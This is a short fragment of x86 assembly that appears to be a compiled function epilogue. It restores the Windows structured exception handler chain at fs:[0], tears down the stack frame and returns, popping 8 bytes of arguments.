mov dword fs:[0], ecx
leave
ret 8